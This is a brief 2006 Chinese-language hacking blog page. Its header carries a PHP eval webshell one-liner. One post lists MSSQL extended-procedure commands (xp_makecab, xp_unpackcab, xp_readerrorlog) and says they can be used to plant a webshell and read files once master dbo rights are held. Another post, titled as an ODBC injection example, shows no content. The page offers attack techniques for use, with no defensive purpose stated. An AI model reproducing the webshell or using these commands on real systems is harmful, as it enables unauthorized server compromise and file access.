深白色 's Blog

'< ?php @eval($_POST[h4x0r])? >');// MSN:edisonhk@Hotmail.co.uk

ODBC注入范例
2006年11月05日 (日)
Look
〜続きを読む〜
テーマ：日記
ジャンル：日記

12:34 | 技术相关 | Trackback (0) | Comment (0) | Top
3个MSSQL扩展
2006年11月05日 (日)
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
打包
EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
解包，可以用于得到webshell
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'
读文本代码

要求权限：
master的dbo权限

12:16 | 技术相关 | Trackback (0) | Comment (0) | Top
| ホーム |